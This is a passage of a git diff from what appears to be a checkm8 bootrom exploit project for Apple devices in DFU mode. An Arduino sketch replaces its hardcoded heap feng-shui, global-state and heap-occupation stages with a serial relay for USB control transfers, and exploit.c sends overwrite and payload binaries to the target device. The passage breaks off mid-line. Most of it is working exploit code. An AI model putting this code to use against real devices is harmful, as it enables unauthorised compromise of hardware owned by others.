0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, -}; - -#endif //CHECKM8_ARDUINO_CONSTANTS_H diff --git a/checkm8_arduino/src/checkm8_arduino.ino b/checkm8_arduino/src/checkm8_arduino.ino index 178f570..6d797c4 100644 --- a/checkm8_arduino/src/checkm8_arduino.ino +++ b/checkm8_arduino/src/checkm8_arduino.ino @@ -1,196 +1,370 @@ +#include "User_Setup.h" #include "Usb.h" -#include "constants.h" #include "checkm8_config.h" +#include "ard_protocol.h" +#include USB Usb; USB_DEVICE_DESCRIPTOR desc_buf; -uint8_t io_buf[0x100]; +uint8_t state, rcode, addr = 1; -uint8_t addr = 1; -EpInfo *pep = NULL; -uint16_t nak_limit = 0; -uint8_t rcode; -uint8_t last_state, state; -uint8_t pktsize; -uint16_t sz; -const uint8_t *p; -uint16_t part_sz; +//uint8_t io_buf[0x100]; +// +//EpInfo *pep = NULL; +//uint16_t nak_limit = 0; +//uint8_t pktsize; +//uint16_t sz; +//const uint8_t *p; +//uint16_t part_sz; -enum +struct serial_desc_args sd_args; +uint16_t serial_desc_buf[256]; + +struct usb_xfer_args usb_args; +uint8_t usb_data_buf[512]; + +int i; +char cmd; + +//enum +//{ +// CHECKM8_INIT_RESET, +// CHECKM8_HEAP_FENG_SHUI, +// CHECKM8_SET_GLOBAL_STATE, +// CHECKM8_HEAP_OCCUPATION, +// CHECKM8_END +//}; +//uint8_t checkm8_state = CHECKM8_INIT_RESET; +// +// +//void heap_feng_shui_req(uint8_t sz) +//{ +// rcode = Usb.ctrlReq_SETUP(addr, 0, 0x80, 6, 4, 3, 0x40a, sz); +// Usb.regWr(rHCTL, bmRCVTOG1); +// rcode = Usb.dispatchPkt(tokIN, 0, 0); +//} +// +//void heap_feng_shui() +//{ +// Serial.println("1. heap feng-shui"); +// heap_feng_shui_req(0xc0); +// heap_feng_shui_req(0xc0); +// for(int i = 0; i < 6; i++) +// heap_feng_shui_req(0xc1); +//} +// +//void set_global_state() +//{ +// Serial.println("2. set global state"); +// rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, 0x800); +// rcode = Usb.dispatchPkt(tokOUTHS, 0, 0); +// rcode = Usb.ctrlReq(addr, 0, 0x21, 4, 0, 0, 0, 0, 0, NULL, NULL); +//} +// +//void heap_occupation() +//{ +// Serial.println("3. heap occupation"); +// +// heap_feng_shui_req(0xc1); +// heap_feng_shui_req(0xc1); +// heap_feng_shui_req(0xc1); +// +// sz = sizeof(overwrite); +// p = overwrite; +// rcode = Usb.ctrlReq_SETUP(addr, 0, 0, 9, 0, 0, 0, sz); +// Usb.regWr(rHCTL, bmSNDTOG0); +// send_out(io_buf, 0); +// while(sz) +// { +// pktsize = min(sz, 0x40); +// for(int i = 0; i < pktsize; i++) +// io_buf[i] = pgm_read_byte(&p[i]); +// send_out(io_buf, pktsize); +// if(rcode) +// { +// Serial.println("sending error"); +// checkm8_state = CHECKM8_END; +// return; +// } +// sz -= pktsize; +// p += pktsize; +// } +// +// sz = sizeof(payload); +// p = payload; +// +// while(sz) +// { +// part_sz = min(0x7ff, sz); +// sz -= part_sz; +// rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, part_sz); +// Usb.regWr(rHCTL, bmSNDTOG0); +// send_out(io_buf, 0); +// while(part_sz) +// { +// pktsize = min(part_sz, 0x40); +// for(int i = 0; i < pktsize; i++) +// io_buf[i] = pgm_read_byte(&p[i]); +// send_out(io_buf, pktsize); +// if(rcode) +// { +// Serial.println("sending error"); +// checkm8_state = CHECKM8_END; +// return; +// } +// part_sz -= pktsize; +// p += pktsize; +// } +// Serial.print("Payload loading... "); +// Serial.print(sizeof(payload) - sz); +// Serial.print("/"); +// Serial.println(sizeof(payload)); +// } +//} + +void recv_args(uint8_t *target, int len) { - CHECKM8_INIT_RESET, - CHECKM8_HEAP_FENG_SHUI, - CHECKM8_SET_GLOBAL_STATE, - CHECKM8_HEAP_OCCUPATION, - CHECKM8_END -}; -uint8_t checkm8_state = CHECKM8_INIT_RESET; + for(i = 0; i < len; i = i + 1) + { + while(Serial.available() == 0); -uint8_t send_out(uint8_t *io_buf, uint8_t pktsize) + if(target == NULL) Serial.read(); + else target[i] = (uint8_t) Serial.read(); + } +} + +uint8_t send_data(uint8_t *buf, uint8_t len) { - Usb.bytesWr(rSNDFIFO, pktsize, io_buf); - Usb.regWr(rSNDBC, pktsize); + Usb.bytesWr(rSNDFIFO, len, buf); + Usb.regWr(rSNDBC, len); Usb.regWr(rHXFR, tokOUT); while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ)); Usb.regWr(rHIRQ, bmHXFRDNIRQ); return (Usb.regRd(rHRSL) & 0x0f); } -void heap_feng_shui_req(uint8_t sz) -{ - rcode = Usb.ctrlReq_SETUP(addr, 0, 0x80, 6, 4, 3, 0x40a, sz); - Usb.regWr(rHCTL, bmRCVTOG1); - rcode = Usb.dispatchPkt(tokIN, 0, 0); -} - -void heap_feng_shui() -{ - Serial.println("1. heap feng-shui"); - heap_feng_shui_req(0xc0); - heap_feng_shui_req(0xc0); - for(int i = 0; i < 6; i++) - heap_feng_shui_req(0xc1); -} - -void set_global_state() -{ - Serial.println("2. set global state"); - rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, 0x800); - rcode = Usb.dispatchPkt(tokOUTHS, 0, 0); - rcode = Usb.ctrlReq(addr, 0, 0x21, 4, 0, 0, 0, 0, 0, NULL, NULL); -} - -void heap_occupation() -{ - Serial.println("3. heap occupation"); - - heap_feng_shui_req(0xc1); - heap_feng_shui_req(0xc1); - heap_feng_shui_req(0xc1); - - sz = sizeof(overwrite); - p = overwrite; - rcode = Usb.ctrlReq_SETUP(addr, 0, 0, 9, 0, 0, 0, sz); - Usb.regWr(rHCTL, bmSNDTOG0); - send_out(io_buf, 0); - while(sz) - { - pktsize = min(sz, 0x40); - for(int i = 0; i < pktsize; i++) - io_buf[i] = pgm_read_byte(&p[i]); - send_out(io_buf, pktsize); - if(rcode) - { - Serial.println("sending error"); - checkm8_state = CHECKM8_END; - return; - } - sz -= pktsize; - p += pktsize; - } - - sz = sizeof(payload); - p = payload; - - while(sz) - { - part_sz = min(0x7ff, sz); - sz -= part_sz; - rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, part_sz); - Usb.regWr(rHCTL, bmSNDTOG0); - send_out(io_buf, 0); - while(part_sz) - { - pktsize = min(part_sz, 0x40); - for(int i = 0; i < pktsize; i++) - io_buf[i] = pgm_read_byte(&p[i]); - send_out(io_buf, pktsize); - if(rcode) - { - Serial.println("sending error"); - checkm8_state = CHECKM8_END; - return; - } - part_sz -= pktsize; - p += pktsize; - } - Serial.print("Payload loading... "); - Serial.print(sizeof(payload) - sz); - Serial.print("/"); - Serial.println(sizeof(payload)); - } -} - void setup() { Serial.begin(ARDUINO_BAUD); - if(Usb.Init() == -1) Serial.println("failed to initialize USB host shield"); - else Serial.print('\x00'); + while(Serial.available() > 0) Serial.read(); + + if(Usb.Init() == -1) Serial.write(PROT_FAIL_INITUSB); + else Serial.write(PROT_SUCCESS); } void loop() { - Usb.Task(); state = Usb.getUsbTaskState(); - if(state != last_state) + while(state != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE && state != USB_STATE_RUNNING) { - Serial.print("usb state: "); - Serial.println(state, HEX); - last_state = state; + Usb.Task(); + state = Usb.getUsbTaskState(); } - if(state == USB_STATE_ERROR) + + if(Serial.available() > 0) { - Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); - } - if(state == USB_STATE_RUNNING) - { - Usb.getDevDescr(addr, 0, 0x12, (uint8_t * ) & desc_buf); - if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227) + cmd = (char) Serial.read(); + switch(cmd) { - Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); - if(checkm8_state != CHECKM8_END) - { - Serial.print("Non Apple DFU found (vendorId: "); - Serial.print(desc_buf.idVendor); - Serial.print(", productId: "); - Serial.print(desc_buf.idProduct); - Serial.println(")"); - delay(5000); - } - return; - } - switch(checkm8_state) - { - case CHECKM8_INIT_RESET: - for(int i = 0; i < 3; i++) + case PROT_PARTIAL_CTRL_XFER: + recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); + Serial.write(PROT_ACK); + + rcode = Usb.ctrlReq_SETUP(addr, 0, + usb_args.bmRequestType, + usb_args.bRequest, + usb_args.wValue & 0xFFu, + (usb_args.wValue >> 8u) & 0xFFu, + usb_args.wIndex, + usb_args.data_len); + if(rcode) { - digitalWrite(6, HIGH); - delay(500); - digitalWrite(6, LOW); - delay(500); + Serial.write(PROT_FAIL_USB); + Serial.write(rcode); + break; } - checkm8_state = CHECKM8_HEAP_FENG_SHUI; + + Usb.regWr(rHCTL, bmRCVTOG1); + rcode = Usb.dispatchPkt(tokIN, 0, 0); + if(rcode) + { + Serial.write(PROT_FAIL_USB); + Serial.write(rcode); + break; + } + + Serial.write(PROT_SUCCESS); + break; + + case PROT_NO_ERROR_CTRL_XFER: + recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); + Serial.write(PROT_ACK); + + rcode = Usb.ctrlReq_SETUP(addr, 0, + usb_args.bmRequestType, + usb_args.bRequest, + usb_args.wValue & 0xFFu, + (usb_args.wValue >> 8u) & 0xFFu, + usb_args.wIndex, + usb_args.data_len); + rcode = Usb.dispatchPkt(tokOUTHS, 0, 0); + Serial.write(PROT_SUCCESS); + break; + + case PROT_NO_ERROR_CTRL_XFER_DATA: + recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); + if(usb_args.data_len > sizeof(usb_data_buf)) + { + recv_args(NULL, usb_args.data_len); + Serial.write(PROT_ACK); + Serial.write(PROT_FAIL_TOOBIG); + break; + } + + recv_args(usb_data_buf, usb_args.data_len); + Serial.write(PROT_ACK); + + rcode = Usb.ctrlReq_SETUP(addr, 0, + usb_args.bmRequestType, + usb_args.bRequest, + usb_args.wValue & 0xFFu, + (usb_args.wValue >> 8u) & 0xFFu, + usb_args.wIndex, + usb_args.data_len); + Usb.regWr(rHCTL, bmSNDTOG0); + send_data(usb_data_buf, 0); + send_data(usb_data_buf, usb_args.data_len); + + Serial.write(PROT_SUCCESS); + break; + + case PROT_CTRL_XFER: + recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); + if(usb_args.data_len > sizeof(usb_data_buf)) + { + // need to waste the data sent on the serial bus since the + // remote sends args and data consecutively and only checks + // for errors after receiving an ACK + + recv_args(NULL, usb_args.data_len); + Serial.write(PROT_ACK); + Serial.write(PROT_FAIL_TOOBIG); + break; + } + + recv_args(usb_data_buf, usb_args.data_len); + Serial.write(PROT_ACK); + + rcode = Usb.ctrlReq(addr, 0, + usb_args.bmRequestType, + usb_args.bRequest, + usb_args.wValue & 0xFFu, + (usb_args.wValue >> 8u) & 0xFFu, + usb_args.wIndex, + usb_args.data_len, usb_args.data_len, + usb_data_buf, NULL); + if(rcode) + { + Serial.write(PROT_FAIL_USB); + Serial.write(rcode); + break; + } + + Serial.write(PROT_SUCCESS); + break; + + case PROT_RESET: + Serial.write(PROT_ACK); + Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); + while((state = Usb.getUsbTaskState()) != USB_STATE_RUNNING) Usb.Task(); + + Serial.write(PROT_SUCCESS); break; - case CHECKM8_HEAP_FENG_SHUI: - heap_feng_shui(); - checkm8_state = CHECKM8_SET_GLOBAL_STATE; - Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); - break; - case CHECKM8_SET_GLOBAL_STATE: - set_global_state(); - checkm8_state = CHECKM8_HEAP_OCCUPATION; - while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) - { Usb.Task(); } - break; - case CHECKM8_HEAP_OCCUPATION: - heap_occupation(); - checkm8_state = CHECKM8_END; - Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); - break; - case CHECKM8_END: - digitalWrite(6, HIGH); + + case PROT_SERIAL_DESC: + recv_args((uint8_t *) &sd_args, sizeof(struct serial_desc_args)); + Serial.write(PROT_ACK); + + state = Usb.getUsbTaskState(); + if(state == USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) + { + Serial.write(PROT_FAIL_NODEV); + break; + } + + Usb.getDevDescr(addr, 0, sizeof(USB_DEVICE_DESCRIPTOR), (uint8_t *) &desc_buf); + if(desc_buf.idVendor != sd_args.dev_idVendor || + desc_buf.idProduct != sd_args.dev_idProduct) + { + Serial.write(PROT_FAIL_WRONGDEV); + break; + } + + // multiplication by 2 is necessary here because iphone returns 16-bit characters + Usb.getStrDescr(addr, 0, sd_args.len * 2, desc_buf.iSerialNumber, 0x0409, (uint8_t *) serial_desc_buf); + Serial.write(PROT_SUCCESS); + + // not sure what the first byte is; skip it + for(i = 1; i < sd_args.len + 1; i++) + { + Serial.write(serial_desc_buf[i]); + } break; + +// default: +// Serial.write(PROT_FAIL_BADCMD); +// break; } + + +// Usb.getDevDescr(addr, 0, 0x12, (uint8_t * ) & desc_buf); +// if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227) +// { +// Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); +// if(checkm8_state != CHECKM8_END) +// { +// Serial.print("Non Apple DFU found (vendorId: "); +// Serial.print(desc_buf.idVendor); +// Serial.print(", productId: "); +// Serial.print(desc_buf.idProduct); +// Serial.println(")"); +// delay(5000); +// } +// return; +// } +// switch(checkm8_state) +// { +// case CHECKM8_INIT_RESET: +// for(int i = 0; i < 3; i++) +// { +// digitalWrite(6, HIGH); +// delay(500); +// digitalWrite(6, LOW); +// delay(500); +// } +// checkm8_state = CHECKM8_HEAP_FENG_SHUI; +// Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); +// break; +// case CHECKM8_HEAP_FENG_SHUI: +// heap_feng_shui(); +// checkm8_state = CHECKM8_SET_GLOBAL_STATE; +// Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); +// break; +// case CHECKM8_SET_GLOBAL_STATE: +// set_global_state(); +// checkm8_state = CHECKM8_HEAP_OCCUPATION; +// while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) +// { Usb.Task(); } +// break; +// case CHECKM8_HEAP_OCCUPATION: +// heap_occupation(); +// checkm8_state = CHECKM8_END; +// Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); +// break; +// case CHECKM8_END: +// digitalWrite(6, HIGH); +// break; +// } } } \ No newline at end of file diff --git a/checkm8_remote/include/checkm8.h b/checkm8_remote/include/checkm8.h index 8f54018..41a30c1 100644 --- a/checkm8_remote/include/checkm8.h +++ b/checkm8_remote/include/checkm8.h @@ -10,6 +10,7 @@ #define CHECKM8_FAIL_NOTDONE -4 #define CHECKM8_FAIL_XFER -5 #define CHECKM8_FAIL_NOINST -6 +#define CHECKM8_FAIL_PROT -7 #define IS_CHECKM8_FAIL(code) code < 0 diff --git a/checkm8_remote/include/usb_helpers.h b/checkm8_remote/include/usb_helpers.h index 7b3045c..cee8795 100644 --- a/checkm8_remote/include/usb_helpers.h +++ b/checkm8_remote/include/usb_helpers.h @@ -2,7 +2,12 @@ #define CHECKM8_TOOL_LIBUSB_HELPERS_H #include "checkm8.h" -#define LIBUSB_MAX_PACKET_SIZE 0x800 + +#ifdef WITH_ARDUINO +#define MAX_PACKET_SIZE 512 +#else +#define MAX_PACKET_SIZE 0x800 +#endif #ifndef WITH_ARDUINO #include "libusb.h" @@ -32,6 +37,12 @@ int no_error_ctrl_transfer(struct pwned_device *dev, unsigned char *data, unsigned short data_len, unsigned int timeout); +int no_error_ctrl_transfer_data(struct pwned_device *dev, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout); + int ctrl_transfer(struct pwned_device *dev, unsigned char bmRequestType, unsigned char bRequest, unsigned short wValue, unsigned short wIndex, @@ -41,5 +52,4 @@ int ctrl_transfer(struct pwned_device *dev, int reset(struct pwned_device *dev); int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len); - #endif //CHECKM8_TOOL_LIBUSB_HELPERS_H diff --git a/checkm8_remote/src/command.c b/checkm8_remote/src/command.c index ab5c89a..03870c3 100644 --- a/checkm8_remote/src/command.c +++ b/checkm8_remote/src/command.c @@ -20,7 +20,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len) while(index < data_len) { - if(data_len - index >= LIBUSB_MAX_PACKET_SIZE) amount = LIBUSB_MAX_PACKET_SIZE; + if(data_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE; else amount = data_len - index; checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index); diff --git a/checkm8_remote/src/exploit.c b/checkm8_remote/src/exploit.c index 93ed4b2..35ef617 100644 --- a/checkm8_remote/src/exploit.c +++ b/checkm8_remote/src/exploit.c @@ -125,7 +125,6 @@ int stage1_function(struct pwned_device *dev) usb_req_leak(dev); no_leak(dev); - checkm8_debug_indent("\treset\n"); reset(dev); return CHECKM8_SUCCESS; } @@ -138,36 +137,63 @@ int stage2_function(struct pwned_device *dev) partial_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1); no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0); - - checkm8_debug_indent("\treset\n"); reset(dev); + return CHECKM8_SUCCESS; } int stage3_function(struct pwned_device *dev) { + long index = 0, amount = 0; + long ow_len, pl_len; + checkm8_debug_indent("exploit stage 3\n"); - unsigned char overwrite_buf[1524]; FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r"); - fread(overwrite_buf, 1524, 1, overwrite_file); + fseek(overwrite_file, 0, SEEK_END); + ow_len = ftell(overwrite_file); + rewind(overwrite_file); + + unsigned char overwrite_buf[ow_len]; + fread(overwrite_buf, ow_len, 1, overwrite_file); fclose(overwrite_file); - unsigned char payload_buf[2400]; FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r"); - fread(payload_buf, 2400, 1, payload_file); + fseek(payload_file, 0, SEEK_END); + pl_len = ftell(payload_file); + rewind(payload_file); + + unsigned char payload_buf[pl_len]; + fread(payload_buf, pl_len, 1, payload_file); fclose(payload_file); usb_req_stall(dev); usb_req_leak(dev); - checkm8_debug_indent("\ttransferring overwrite\n"); - no_error_ctrl_transfer(dev, 0, 0, 0, 0, overwrite_buf, 1524, 100); + checkm8_debug_indent("\ttransferring overwrite 